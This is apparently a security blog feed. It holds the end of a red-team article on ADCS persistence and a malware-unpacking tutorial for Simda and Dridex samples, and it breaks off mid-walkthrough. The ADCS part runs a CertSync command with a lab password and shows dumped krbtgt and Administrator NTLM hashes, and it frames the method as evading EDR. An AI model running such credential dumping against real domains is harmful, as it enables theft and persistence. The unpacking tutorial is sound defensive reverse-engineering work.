<p>Well, DCSync exploits the <strong>MS-DRSR</strong> protocol, which is used to replicate data from Active Directory, allowing an attacker to extract credentials directly from a Domain Controller.</p>

<p>The point is that DCSync also uses the <strong>DSRUAPI</strong>, which is monitored and often restricted by an EDR. In the case of a mature environment, you won’t be able to carry out this attack. That’s where CertSync shines, as it doesn’t require the <strong>DSRUAPI</strong> or a Domain Admin, only a user who is an administrator of the CA.</p>

<p><strong>CertSync</strong> is a technique for remotely dumping the NTDS using the two techniques we covered earlier, such as Golden Certificate and UnPAC-The-Hash, and it does this in a few steps:</p>
<ul>
  <li>Dumps the list of users, CA information, and also the CRL via LDAP.</li>
  <li>Dumps the CA certificate and its private key (.p12 - Golden Certificate).</li>
  <li>Locally forges a certificate for each user.</li>
  <li>Performs UnPAC on all these certificates to obtain the NTLM hash.</li>
</ul>

<p>Let’s reproduce this in the lab. I will be using my user, which is an administrator of the CA that we will be attacking.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>certsync <span class="nt">-u</span> paulo.victor <span class="nt">-p</span> <span class="s1">'Senha@123'</span> <span class="nt">-d</span> corp.local <span class="nt">-dc-ip</span> 10.0.0.10 <span class="nt">-ns</span> 10.0.0.10
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Collecting userlist, CA info and CRL on LDAP
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Found 16 <span class="nb">users </span><span class="k">in </span>LDAP
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Found CA CORP-CA on paulo.victor.corp.local<span class="o">(</span>10.0.0.10<span class="o">)</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Dumping CA certificate and private key
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Forging certificates <span class="k">for </span>every users. This can take some time...
<span class="o">[</span><span class="k">*</span><span class="o">]</span> PKINIT + UnPAC the hashes
CORP.LOCAL/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:75431702DEEB8199026DCFCA6EA5C950:::
CORP.LOCAL/Administrator:500:aad3b435b51404eeaad3b435b51404ee:DDC84A0B28826D6CD4738C5852F38E81:::
....
</code></pre></div></div>

<h2 id="conclusion">Conclusion</h2>

<p>This article explored how ADCS (Active Directory Certificate Services) can be used for persistence techniques targeting users, machines, and domains. We covered the Golden Certificates and UnPAC-The-Hash techniques for extracting NTLM hashes without accessing LSASS, and how they can combine to maintain access even after password changes or system reconfigurations.</p>

<p>We also discussed CertSync, which offers advantages over DCSync by not requiring DSRUAPI or Domain Admin privileges, just CA administrator access. These techniques bypass traditional defenses, making them effective in mature environments.</p>

<p>ADCS proves to be a powerful tool for attackers, enabling various methods for persistence. If you enjoyed this article, like, share, and stay tuned for more content on ADCS and advanced security techniques.</p>]]></content><author><name>sorahed</name></author><category term="active directory" /><category term="ad" /><category term="red team" /><summary type="html"><![CDATA[Golden Tickets is cheap, show me certificates.]]></summary></entry><entry><title type="html">Unveiling custom packers: A comprehensive guide</title><link href="https://inferi.club/blog/unveiling-custom-packers-a-comprehensive-guide/" rel="alternate" type="text/html" title="Unveiling custom packers: A comprehensive guide" /><published>2024-02-12T03:07:00+00:00</published><updated>2024-02-12T03:07:00+00:00</updated><id>https://inferi.club/blog/unveiling-custom-packers-a-comprehensive-guide</id><content type="html" xml:base="https://inferi.club/blog/unveiling-custom-packers-a-comprehensive-guide/"><![CDATA[<ul id="markdown-toc">
  <li><a href="#how-do-packers-work" id="markdown-toc-how-do-packers-work">How do packers work?</a></li>
  <li><a href="#identifying-packing" id="markdown-toc-identifying-packing">Identifying packing</a></li>
  <li><a href="#unpacking-techniques" id="markdown-toc-unpacking-techniques">Unpacking techniques</a>    <ul>
      <li><a href="#breakpoints-on-specific-apis" id="markdown-toc-breakpoints-on-specific-apis">Breakpoints on specific APIs</a></li>
      <li><a href="#break-on-module-loading" id="markdown-toc-break-on-module-loading">Break on module loading</a></li>
      <li><a href="#automated-unpacking" id="markdown-toc-automated-unpacking">Automated unpacking</a></li>
    </ul>
  </li>
  <li><a href="#custom-packers" id="markdown-toc-custom-packers">Custom Packers</a></li>
  <li><a href="#sample-1" id="markdown-toc-sample-1">Sample #1</a>    <ul>
      <li><a href="#naive-approach" id="markdown-toc-naive-approach">Naive approach</a></li>
      <li><a href="#savvy-approach" id="markdown-toc-savvy-approach">Savvy approach</a></li>
    </ul>
  </li>
  <li><a href="#sample-2" id="markdown-toc-sample-2">Sample #2</a>    <ul>
      <li><a href="#navvy-approach" id="markdown-toc-navvy-approach">Navvy approach</a></li>
    </ul>
  </li>
</ul>

<p>In this article, you’ll be diving into an introduction to how packers work, some tips to unpack, and two walkthroughs showing off how i usually deal with custom packers.</p>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/header.jpg" /></p>

<h2 id="how-do-packers-work">How do packers work?</h2>

<p>Packers generally have three types: Compressors, Crypters and Protectors. A Compressor, as its name says, compress the size of the desired file, or in other words, it squeezes a file into their own unpacker process. A Crypter encrypts the payload, executes it in memory at runtime (with an option to drop the final payload on disk), and aims to evade detection from AV/EDR software, without the need of compressing the file. Protector perform both packing and encryption of their payload. Additionally, they employ various anti-debugging and anti-reversing techniques to make the entire unpacking process challenging for reverse engineers.</p>

<p>The main part of a packer is its stub, which is responsible for the unpacking routine. So, when a file is inputed, it basically generates a stub with the payload inside it.</p>

<p>Internally in the stub, there are 3 main forms of storing the encrypted payload:</p>

<ul>
  <li>On the file’s overlay</li>
  <li>On the file’s last section</li>
  <li>On a large encoded string, which is decoded and decrypted in runtime</li>
</ul>

<blockquote>
  <p>A way to identify the section which contains the packed file is looking for its size. If the raw size is small or set to zero, and the virtual size is large enough to store a PE or shellcode, it may likely be our target.</p>
</blockquote>

<p>In a Crypter, the packer’s stub procedure is responsible for decrypting the payload, then running it in one of two regions: inside their own process, or in a remote process.</p>

<p>Running inside their own process is done, in simple terms, by allocating memory, writing data to the allocated memory, adjusting its protection and setting the <code class="language-plaintext highlighter-rouge">EIP</code> register to point to that specific location. Also, some custom packers will replace their on <code class="language-plaintext highlighter-rouge">.text</code> section with the packed payload.</p>

<blockquote>
  <p>The address where the packed payload starts executing is also known as OEP, Original Entry Point.</p>
</blockquote>

<p>When the execution is within the address space of another process, it typically relies on some form of injection technique, like process hollowing. Commonly creating a child process (which may appear legitimate in some instances) and running the payload on it.</p>

<p>But how does the stub figure out where the payload begins and ends?</p>

<p>The payload typically includes some kind of marker (distinction bytes), which identifies the payload’s starting and ending bytes. Recognizing this, we can make those markers an signature for the packer.</p>

<blockquote>
  <p>Moreover, the presence of polymorphic packers is notable, as they tend to generate entirely new stubs even for the same input. This dynamic behavior enhances evasion capabilities, making it challenging for signature-based detection methods to identify and combat the packed payloads.</p>
</blockquote>

<p>However, given the scope of this article, I won’t delve into this type of packer.</p>

<h2 id="identifying-packing">Identifying packing</h2>

<p>Packing identification is not a exact science, instead, it consists of verifying a number of strikes, which lead us to assume that the file is packed. The main strikes are:</p>

<ul>
  <li>Entropy (7.0+)</li>
  <li>Non-standard section names</li>
  <li>Executable sections that are not <code class="language-plaintext highlighter-rouge">.text</code>/<code class="language-plaintext highlighter-rouge">.code</code></li>
  <li>Lack of imports</li>
  <li>Lack of functionality-specific imports (A windows ransomware who doesn’t import any WinCrypt API is likely packed for example).</li>
  <li>Sections with the raw size zeroed, but a large virtual size.</li>
  <li>Missing network-related APIs</li>
  <li>Presence of an overlay</li>
  <li>Large <code class="language-plaintext highlighter-rouge">.rsrc</code> section (Combined with a call to <code class="language-plaintext highlighter-rouge">LoadResource</code>)</li>
  <li>The code itselfs, when opening into a disassembler, looks weird.</li>
</ul>

<blockquote>
  <p>These are just a few strikes i use myself, obviously there are plenty more out there.</p>
</blockquote>

<h2 id="unpacking-techniques">Unpacking techniques</h2>

<p>As well as identifying it, unpacking isn’t a exact science, the approach we take can vary according to the packer we are dealing to.</p>

<p>I usually stick with three main approaches: breakpoints on specific APIs, break on module loading or automated unpacking.</p>

<blockquote>
  <p>Also, the malware could have several unpacking stages, so never assume a sample is unpacked until analyzing it further.</p>
</blockquote>

<h3 id="breakpoints-on-specific-apis">Breakpoints on specific APIs</h3>

<p>These are done by placing breakpoint on memory-related APIs. Examining their params and return values will eventually bring us to interesting memory regions.</p>

<p>The APIs are usually:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">CreateProcessInternalW( )</code></li>
  <li><code class="language-plaintext highlighter-rouge">VirtualAlloc()</code></li>
  <li><code class="language-plaintext highlighter-rouge">VirtualAllocEx()</code></li>
  <li><code class="language-plaintext highlighter-rouge">VirtualProtect()</code> / <code class="language-plaintext highlighter-rouge">ZwProtectVirtualMemory()</code></li>
  <li><code class="language-plaintext highlighter-rouge">WriteProcessMemory()</code> / <code class="language-plaintext highlighter-rouge">NtWriteProcessMemory()</code></li>
  <li><code class="language-plaintext highlighter-rouge">ResumeThread()</code> / <code class="language-plaintext highlighter-rouge">NtResumeThread()</code></li>
  <li><code class="language-plaintext highlighter-rouge">CryptDecrypt()</code> / <code class="language-plaintext highlighter-rouge">RtlDecompressBuffer()</code></li>
  <li><code class="language-plaintext highlighter-rouge">NtCreateSection()</code> + <code class="language-plaintext highlighter-rouge">MapViewOfSection()</code> / <code class="language-plaintext highlighter-rouge">ZwMapViewOfSection()</code></li>
  <li><code class="language-plaintext highlighter-rouge">UnmapViewOfSection()</code> / <code class="language-plaintext highlighter-rouge">ZwUnmapViewOfSection()</code></li>
  <li><code class="language-plaintext highlighter-rouge">NtWriteVirtualMemory()</code></li>
  <li><code class="language-plaintext highlighter-rouge">NtReadVirtualMemory()</code></li>
  <li><code class="language-plaintext highlighter-rouge">CreateProcessInternalW</code></li>
</ul>

<p>My main targets here is <code class="language-plaintext highlighter-rouge">VirtualAlloc</code>, <code class="language-plaintext highlighter-rouge">VirtualProtect</code>, <code class="language-plaintext highlighter-rouge">CreateProcessInternalW</code> and <code class="language-plaintext highlighter-rouge">ResumeThread</code>. On <code class="language-plaintext highlighter-rouge">VirtualAlloc</code>, we put a breakpoint on its exit point, more precisely on the <code class="language-plaintext highlighter-rouge">ret 10</code> instruction, then following <code class="language-plaintext highlighter-rouge">eax</code> on dump. On <code class="language-plaintext highlighter-rouge">VirtualProtect</code>, we check what address is into <code class="language-plaintext highlighter-rouge">ecx</code>, following it on memory dump. On the latter ones, we follow the address where its marked to start the new process/thread, and dump it.</p>

<h3 id="break-on-module-loading">Break on module loading</h3>

<p>This method is quite straight-forward: halt the debugger for every loaded DLL, examine the binary’s memory map, and look for both <code class="language-plaintext highlighter-rouge">RWX</code> and <code class="language-plaintext highlighter-rouge">RW</code> segments, as packers commonly load modules into <code class="language-plaintext highlighter-rouge">RW</code> segments and later modify permissions to <code class="language-plaintext highlighter-rouge">RWX</code>.</p>

<blockquote>
  <p>We can even use volatility for this purpose. Run the malware and take a system image. Within <code class="language-plaintext highlighter-rouge">vol.py</code>, use <code class="language-plaintext highlighter-rouge">memory.vmem procdump</code> to search for interesting segments and <code class="language-plaintext highlighter-rouge">memory.vmem impscan</code> to fix the IAT.</p>
</blockquote>

<h3 id="automated-unpacking">Automated unpacking</h3>

<p>This approach consists by using some tool to extract the packed payload. it is a core decision when dealing with deadlines.</p>

<p>Some of them are:</p>

<ul>
  <li>UnpacMe: <a href="https://www.unpac.me/">https://www.unpac.me/</a></li>
  <li>pe-sieve: <a href="https://github.com/hasherezade/pe-sieve">https://github.com/hasherezade/pe-sieve</a></li>
  <li>hollows-hunter: <a href="https://github.com/hasherezade/hollows_hunter">https://github.com/hasherezade/hollows_hunter</a></li>
  <li>Shinigami: <a href="https://github.com/buzzer-re/Shinigami">https://github.com/buzzer-re/Shinigami</a></li>
</ul>

<blockquote>
  <p>Don’t forget that these tools usually run the malware to unpack it, so use it on a isolated environment.</p>
</blockquote>

<p>However, when none of these methods works properly, it becomes crucial to delve into the intricacies of the packer’s procedure.</p>

<p>Therefore, this article is committed to unveiling the inner workings of a custom packer. Our objective is to understand its procedures and extract the final payload.</p>

<h2 id="custom-packers">Custom Packers</h2>

<p>Most malwares makes use of known packers, like UPX, so it is quite trivial to unpack its payload. Although, in some cases, the malware authors use their own packers, which is quite difficult to reverse engineer at glance, yet there are some approaches which make this process easy for us.</p>

<p>First, the main purpose of the packer is to unpack something. Therefore, it can be understood that a considerable part of the code we come across involves complex arithmetic, primarily aiding the unpacking procedure to uncover the payload. Being aware of this, we end up not really interested in those arithmetic’s.</p>

<p>Second, there will be frequent indirect calls, like: a call to a register/stack variables, a <code class="language-plaintext highlighter-rouge">push</code> and then a <code class="language-plaintext highlighter-rouge">ret</code> instruction, jump to registers/stack variables. Understanding that, it is easier to track the packer’s control-flow and getting into the final payload.</p>

<p>Third and last, we will be using static and dynamic analysis, so we can resolve those indirect calls and follow along with the static disassembler.</p>

<blockquote>
  <p>Many custom packers will try, in some manner, to deflect the analyst’s attention, so keep in mind that the unpacking code is one-way, meaning that it has no intention to return back from where it is called.</p>
</blockquote>

<h2 id="sample-1">Sample #1</h2>
<p><code class="language-plaintext highlighter-rouge">sha256:5617238b8d3b232f0743258b89720bb04d941278253e841ee9cbf863d0985c32</code></p>

<p>The sample is a Simda Trojan, which is described by Microsoft as: “a multi-component trojan that downloads and executes arbitrary files. These files may include additional malware.”</p>

<p>Simda is also known for using customized packers, which can be pretty evasive and mislead our static analysis.</p>

<p>The sample is a 32-bit executable compiled with Microsoft MSVC within Visual Studio 2008:</p>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/simda-die.png" /></p>

<p>We can confirm it is packed by:</p>
<ul>
  <li>Misleading strings</li>
  <li>Non-standard section names</li>
  <li>Lack of imports</li>
  <li>Lack of networking APIs</li>
</ul>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/simda-sections.png" /></p>

<p>Now we have two approaches to this sample, the naive and the savvy.</p>

<h3 id="naive-approach">Naive approach</h3>

<p>The naive approach is using a debugger. Although it can be quicker, I call this a “naive” approach because we don’t quite understand how is the unpacking procedure, so in a detection engineering context, it could not be the best approach.</p>

<p>This approach consists of putting breakpoint on memory-related APIs and looking for interesting memory dumps. I’ll be using x64dbg for this purpose.</p>

<p>After reaching the entrypoint breakpoint, start placing our API breakpoints. Go to <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> (<code class="language-plaintext highlighter-rouge">Ctrl + G</code>) and place a breakpoint on its exit point (<code class="language-plaintext highlighter-rouge">ret 10</code>).</p>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/simda-ret10.png" /></p>

<p>After it, place breakpoints on: <code class="language-plaintext highlighter-rouge">VirtualProtect</code>, <code class="language-plaintext highlighter-rouge">CreateProcessInternalW</code>, <code class="language-plaintext highlighter-rouge">CreateThread</code>, <code class="language-plaintext highlighter-rouge">ResumeThread</code>, <code class="language-plaintext highlighter-rouge">IsDebuggerPresent</code> and <code class="language-plaintext highlighter-rouge">FindWindowA</code> (<code class="language-plaintext highlighter-rouge">bp [API_name]</code>).</p>

<p>Resume its execution (<code class="language-plaintext highlighter-rouge">F9</code>) and <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> will be hit, follow <code class="language-plaintext highlighter-rouge">EAX</code> on dump 1. After it, <code class="language-plaintext highlighter-rouge">VirtualProtect</code> will be hit several times (21 times!)</p>

<blockquote>
  <p>However, as the reader might have noticed, most of the <code class="language-plaintext highlighter-rouge">VirtualProtect</code> calls are targeting the address range of <code class="language-plaintext highlighter-rouge">~0x0400000</code>, which can possibly be a <code class="language-plaintext highlighter-rouge">.text</code> replacement</p>
</blockquote>

<p>None of them is relevant for us in this approach, just look at dump 1 after the first call to <code class="language-plaintext highlighter-rouge">VirtualProtect</code> and the reader will see our unpacked PE.</p>

<blockquote>
  <p>But remember, do not assume the first extraction is the final payload, packers can have several stages.</p>
</blockquote>

<p>To confirm it is the final payload, open it on DiE, there are plenty of indicators:</p>

<ul>
  <li>Encrypted strings</li>
  <li>anti-analysis-related strings</li>
  <li>Register keys paths</li>
  <li>Standard section names</li>
  <li>low entropy</li>
</ul>

<p>And obviously, open it on your favorite disassembler to assure yourself.</p>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/simda-naivebinja.png" /></p>

<p>The reader may have noticed that we do not understood nothing of what was going on the unpacking phase. That’s why even though this approach is quicker, when it fails, you need to have a backup, which is deep diving into the packer’s code!</p>

<h3 id="savvy-approach">Savvy approach</h3>

<p>This approach consists of diving into the packer’s code and understanding the core details of it. I call it a “savvy” approach because we really get to know what’s going on, so it will be easier to write detections based on its behavior.</p>

<p>Initially, it’s crucial to keep two key points in mind when examining packers. First, most of the code we’ll see, is related to the unpacking procedure and complex arithmetic, so it isn’t really needed to fully reverse it. Second, indirect calls are expected, often guiding us towards the unpacked code.</p>

<p>Opening it on Binary Ninja, we can see a lot of functions (3294 to be more precise), but most of them aren’t never really called, hence we can make a quick script using the Binary Ninja API to show which of them are actually called anytime on the program’s lifetime:</p>

<blockquote>
  <p>To activate the python console, press the backtick key ( ` )</p>
</blockquote>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="n">func</span> <span class="ow">in</span> <span class="n">bv</span><span class="p">.</span><span class="n">functions</span><span class="p">:</span>
	<span class="n">num_of_callers</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">func</span><span class="p">.</span><span class="n">callers</span><span class="p">)</span>
	<span class="k">if</span> <span class="n">num_of_callers</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">:</span>
		<span class="k">print</span><span class="p">(</span><span class="n">func</span><span class="p">.</span><span class="n">return_type</span><span class="p">,</span> <span class="n">func</span><span class="p">.</span><span class="n">name</span><span class="p">,</span> <span class="n">func</span><span class="p">.</span><span class="n">calling_convention</span><span class="p">,</span> <span class="n">func</span><span class="p">.</span><span class="n">start</span><span class="p">,</span> <span class="n">num_of_callers</span><span class="p">)</span>
</code></pre></div></div>

<p>which returns:
<img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/simda-script-calledfunc.png" /></p>

<p>After that, for the sake of our analysis, we can tag all the other which aren’t called anytime in the program’s lifetime, so we don’t spend time reversing it.</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="n">func</span> <span class="ow">in</span> <span class="n">bv</span><span class="p">.</span><span class="n">functions</span><span class="p">:</span>
	<span class="n">num_of_callers</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">func</span><span class="p">.</span><span class="n">callers</span><span class="p">)</span>
	<span class="k">if</span> <span class="n">num_of_callers</span> <span class="o">&lt;</span> <span class="mi">1</span><span class="p">:</span>
		<span class="n">func</span><span class="p">.</span><span class="n">add_tag</span><span class="p">(</span><span class="s">"Crashes"</span><span class="p">,</span> <span class="s">"This function is never called"</span><span class="p">,</span> <span class="n">here</span><span class="p">)</span>
		<span class="n">func</span><span class="p">.</span><span class="n">set_comment_at</span><span class="p">(</span><span class="n">here</span><span class="p">,</span> <span class="s">"Unused"</span><span class="p">)</span>
</code></pre></div></div>

<p>Ending up with 3238 functions who are never called.</p>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/simda-unusedfunc.png" /></p>

<p>Now, we can start our reverse engineering.</p>

<p>At program’s entrypoint, scroll all the way down to the function’s end addresses, the reader will see a common obfuscation technique, which pushes an address to the stack, and immediately returns, leading <code class="language-plaintext highlighter-rouge">EIP</code> to be set at that address.</p>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/simda-pushret1.png" /></p>

<p>Following <code class="language-plaintext highlighter-rouge">sub_40139a</code>, we will again encounter that type of obfuscation, which eventually will lead us to the address <code class="language-plaintext highlighter-rouge">004013a6</code>.</p>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/simda-pushret2.png" /></p>

<p>This sub does not do anything relevant to us. There are many calls to <code class="language-plaintext highlighter-rouge">sub_401100</code>, which is junk code. On the function’s epilogue, the reader will notice that <code class="language-plaintext highlighter-rouge">eax</code> register is being pushed onto the stack, then, the function returns. This follows the same technique we saw before.</p>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/simda-pushret3.png" /></p>

<p>We can spot the address <code class="language-plaintext highlighter-rouge">0x401130</code> being loaded into <code class="language-plaintext highlighter-rouge">eax</code>. Following that address, <code class="language-plaintext highlighter-rouge">sub_401130</code> comes into place:</p>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/simda-pushret4.png" /></p>

<p>As we saw before, <code class="language-plaintext highlighter-rouge">ecx</code> is being pushed onto stack, then the function returns. If we go back a few instructions, <code class="language-plaintext highlighter-rouge">data_4ca094</code> is being loaded into <code class="language-plaintext highlighter-rouge">ecx</code>. Looking inside <code class="language-plaintext highlighter-rouge">data_4ca094</code>, it is empty, so we can assume that something is loaded inside it in runtime.</p>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/simda-data4ca094.png" /></p>

<p>How do we discover what is loaded at this location? Simple, we put a breakpoint on this address, and check it out!</p>

<p>Yet, hold on, before getting our hands into a debugger, lets wrap up what’s happening until now.</p>

<p>Come back to the binary’s entrypoint. The reader will notice that the function which loads the content from <code class="language-plaintext highlighter-rouge">data_4ca094</code> inside <code class="language-plaintext highlighter-rouge">ecx</code> (<code class="language-plaintext highlighter-rouge">sub_401130</code>) is called plenty of times. Knowing that, we can assume that each block of code tries to setup <code class="language-plaintext highlighter-rouge">data_4ca094</code>, then, if it is succesfully set up, <code class="language-plaintext highlighter-rouge">sub_401130</code> is called.</p>

<blockquote>
  <p>If the reader looks closely, a call to <code class="language-plaintext highlighter-rouge">LoadCursorA</code> is made, which loads or retrieves a handle to a cursor. The point is, a cursor can also be a bitmap, so the payload is possibly stored on a bitmap format.</p>
</blockquote>

<p>Open the binary in x64dbg and put a breakpoint in <code class="language-plaintext highlighter-rouge">push ecx</code> (<code class="language-plaintext highlighter-rouge">00401164</code>):</p>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/simda-pushret5.png" /></p>

<p>Once stopping, check what’s inside <code class="language-plaintext highlighter-rouge">ecx</code>. The address <code class="language-plaintext highlighter-rouge">006e6ed0</code> (might be different for you) is loaded onto <code class="language-plaintext highlighter-rouge">ecx</code>, so the next stage is at that address.</p>

<p>Looking for this address in our disassemble, we soon notice that it doesn’t exists. This means that what’s on this address is being loaded in runtime (as we stated before), more lilkely to be a shellcode.</p>

<p>The next step here is dumping the memory segment which the address within <code class="language-plaintext highlighter-rouge">ecx</code> is at, and opening it on a new disassemble session.</p>

<p>Following <code class="language-plaintext highlighter-rouge">ecx</code> on Memory Map, right click and press “Dump Memory to File”. Don’t forget to keep the segment’s base address on the saved dump name, it might be useful in the future.</p>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/simda-dump1.png" /></p>

<blockquote>
  <p>Notice that this memory range is marked as <code class="language-plaintext highlighter-rouge">ERW</code>, which is a good indicator of the unpacked code, but not absolute.</p>
</blockquote>

<p>Opening the shellcode on Binary Ninja, try to go (<code class="language-plaintext highlighter-rouge">g</code>) to the address that was loaded into <code class="language-plaintext highlighter-rouge">ecx</code>, it does not exist!</p>

<p>This happens because, on the debugger, we are dealing with virtual addresses, and on Binary Ninja, raw addresses. To overcome this situation, we need to calculate what is the offset of the address within <code class="language-plaintext highlighter-rouge">ecx</code>, so we can follow along with our disassembler. The calculation is simple:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">RVA - VA = offset</code></li>
</ul>

<p>So, <code class="language-plaintext highlighter-rouge">006e6ed0 - 00660000 = 00086ed0</code>.</p>

<p>Going to this offset (<code class="language-plaintext highlighter-rouge">g</code>), we will soon again encounter the same obfuscation technique, with <code class="language-plaintext highlighter-rouge">push</code> &amp; <code class="language-plaintext highlighter-rouge">ret</code> instructions.</p>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/simda-pushret6.png" /></p>

<p>To follow along, put a breakpoint on <code class="language-plaintext highlighter-rouge">push rdx</code> instruction.</p>

<p>Remember, on the disassembler we are dealing with raw offsets, so we need to convert it into virtual addresses:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">00086fc3 + 660000 = 6e6cf3</code></li>
</ul>

<p>Run (<code class="language-plaintext highlighter-rouge">F9</code>), and we can see that the address <code class="language-plaintext highlighter-rouge">0042037</code> is loaded into <code class="language-plaintext highlighter-rouge">edx</code>. The address <code class="language-plaintext highlighter-rouge">0042037</code> is on the binary’s <code class="language-plaintext highlighter-rouge">.text</code> section, this can lead us to believe that it is being replaced in runtime (as we were suspicious before).</p>

<p>In that particular case, dump the whole binary from memory again. Although, we’ll see that it does not apply to every <code class="language-plaintext highlighter-rouge">.text</code> replacement, sometimes it is just a shellcode, so the reader need to dump only the address range of the <code class="language-plaintext highlighter-rouge">.text</code> itself.</p>

<p>Also, i had a better result dumping it from Process Hacker instead of x64dbg. The process is simple:</p>

<p>Right click on the malware’s process, go to Properties, Memory tab, Open the address at <code class="language-plaintext highlighter-rouge">0x400000</code>, Right click on <code class="language-plaintext highlighter-rouge">0x400000</code>, press Save…</p>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/simda-prochack.png" /></p>

<p>To confirm it, open both unpacked samples (the naive one and the savvy one) on your disassembly, and compare the results, you will see that they are equal.</p>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/simda-savvyunpacked.png" /></p>

<h2 id="sample-2">Sample #2</h2>

<p><code class="language-plaintext highlighter-rouge">sha256:034e193f88a93ebb4ac8ca8da5b3b1429600ef04e5c124457ce0bc1830bae558</code></p>

<p>This is a Dridex sample, which is stated by malpedia as: “an evasive, information-stealing malware variant; its goal is to acquire as many credentials as possible and return them via an encrypted tunnel to a Command-and-Control (C&amp;C) server.”</p>

<p>Dridex is also known for its sophisticated TTPs, which includes the unpacking process we are dealing today.</p>

<p>The binary is a 32-bit executable.</p>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/dridex-die.png" /></p>

<p>To assure it is packed, let’s list some of the strikes:</p>

<ul>
  <li>Only 3 imported DLLs (<code class="language-plaintext highlighter-rouge">msvcrt.dll</code>, <code class="language-plaintext highlighter-rouge">pdh,dll</code>, <code class="language-plaintext highlighter-rouge">KERNEL32.dll</code>).</li>
  <li>Lacks of network APIs.</li>
  <li>Non-standard section names (<code class="language-plaintext highlighter-rouge">y2A</code>, <code class="language-plaintext highlighter-rouge">.3cBjO</code>, <code class="language-plaintext highlighter-rouge">CONST</code>).</li>
  <li>Does not have any meaningful string.</li>
  <li>Entropy of 6.9</li>
</ul>

<p>Also, looking at it on Binary Ninja:</p>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/dridex-binjapacked.png" /></p>

<p>And due to the author’s sanity, we will be doing the navvy approach only.</p>

<h3 id="navvy-approach">Navvy approach</h3>

<p>I won’t be delaying any more practical time, at this point the reader should have all the necessary knowledge to follow along.</p>

<p>As we open the PE on Binary Ninja, we soon notice the same obfuscation technique used by the previous sample:</p>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/dridex-pushret1.png" /></p>

<p>Following <code class="language-plaintext highlighter-rouge">eax</code> (<code class="language-plaintext highlighter-rouge">sub_40c2e0</code>), we can see that it does significant stuff. It loads <code class="language-plaintext highlighter-rouge">version.dll</code>, gets a handle to <code class="language-plaintext highlighter-rouge">kernel32.dll</code> and calls other subroutines:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">sub_40b870</code> - walks <code class="language-plaintext highlighter-rouge">kernel32.dll</code> and stores it onto a Atom</li>
  <li><code class="language-plaintext highlighter-rouge">sub_40b4c0</code> - manipulates the previous atom</li>
</ul>

<p>In its epilogue, it makes a call to <code class="language-plaintext highlighter-rouge">data_411bf4</code>, which is populated at runtime. If the reader check the code references to that data location, it will encounter the <code class="language-plaintext highlighter-rouge">eax</code> register being moved into it. Place a breakpoint on that instruction.</p>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/dridex-xrefs.png" /></p>

<p>Hitting that address, step over and then follow that location on memory dump. The reader will soon notice, by its bytes, that it is code-related.</p>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/dridex-dump1.png" /></p>

<ul>
  <li>Sequence of <code class="language-plaintext highlighter-rouge">5x…</code> - pushes or pops</li>
  <li><code class="language-plaintext highlighter-rouge">C7[84/44]24</code> - <code class="language-plaintext highlighter-rouge">mov</code> value to stack</li>
</ul>

<p>To confirm it, place a breakpoint on the call to <code class="language-plaintext highlighter-rouge">data_411bf4</code>. The reader will see that what’s being called is the same content as we’ve saw before.</p>

<p>Another interesting point is the <code class="language-plaintext highlighter-rouge">ud2</code> instruction.</p>

<p>This instruction means that the disassembler wasn’t able to disassemble the instructions after it, meaning that the code doesn’t aim to return after this call. This is also a good indicator of we being on the right track to unpack it.</p>

<p>Following the call, we will get into the address <code class="language-plaintext highlighter-rouge">0x0040afe0</code>, which exists in our disassemble and looks like this:</p>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/dridex-graph1.png" /></p>

<p>Now it gets trickier, if the reader go straight to the end of this subroutine, it won’t encounter any indirect call or any clue that leads us to the next stage of the unpacking procedure.</p>

<blockquote>
  <p>I encourage the reader to look deep into this function and finding the next stage by its own before continuing.</p>
</blockquote>

<p>This subroutine makes only 3 calls, which 2 of them are useless to us. So, the only option is the call to <code class="language-plaintext highlighter-rouge">sub_409820</code>.</p>

